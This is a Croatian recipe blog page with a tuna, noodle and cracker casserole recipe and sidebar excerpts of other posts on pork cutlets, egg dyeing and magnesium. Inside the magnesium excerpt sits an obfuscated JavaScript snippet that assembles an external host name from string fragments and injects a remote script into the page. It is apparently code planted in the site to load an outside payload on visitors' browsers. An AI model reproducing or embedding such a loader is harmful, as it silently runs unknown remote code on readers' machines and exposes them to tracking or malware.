SLOŽENAC S TUNOM I KREKERIMA




Složenac s tunom i krekerima 



Složenac s tunom, tjesteninom i krekerima je američki comfort food. Riječ je o jelu koje je postalo popularno 50-ih godina prošlog stoljeća, a gdje se tjestenina sljubljivala s tunom iz konzerve i juhom od gljiva te zapekla u pećnici s nadrobljenim krekerima i sirom kako bi se dobio brz i zasitan obrok.




Složenac s tunom i krekerima 


Sastojci:

  • 350 g širokih rezanaca
  • 250 g šampinjona
  • 250 ml punomasnog mlijeka
  • 220 g naribanog sira cheddara
  • 150 g smrznutog graška
  • 120 g krem sira 
  • 100 g slanih krekera
  • 60 g maslaca
  • 30 g glatkog brašna
  • 2 velike konzerve tune od 180 g
  • 1 luk
  • 1 kocka pilećeg temeljca
  • 1 čajna žličica češnjaka u prahu
  • 1 čajna žličica svježih listića timijana
  • sol i papar po želji



Priprema:

  1. U velikom loncu zakuhajte posoljenu vodu i skuhajte rezance prema uputama na pakiranju – tako da budu al dente. Ocijedite ih i stavite sa strane.
  2. U istom loncu rastopite maslac pa na njemu prepirjajte nasjeckani luk i gljive s nešto soli i papra. Pirjajte oko pet do sedam minuta dok povrće ne omekša i tekućina ne ispari.
  3. Dodajte brašno, sve dobro promiješajte i pržite ga oko minutu-dvije. Potom podlijte sadržaj lonca s mlijekom i s pola litre vode u kojoj ste umiješali pileću kocku. Dodajte i krem sir, timijan te češnjak u prahu i sve dobro promiješajte. Kuhajte oko pet minuta. Vratite kuhane rezance u lonac, dodajte ocijeđenu tunu, grašak i polovicu naribanog sira. Sve dobro promiješajte.
  4. Prebacite smjesu u pravokutni lim za pečenje. Na vrh dodajte preostali naribani sir i nadrobljene krekere. Pecite u prethodno zagrijanoj pećnici na 200 Celzijevih stupnjeva 20 minuta.
  5. Poslužite jelo toplo sa sezonskom salatom po želji. Dobar tek!


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više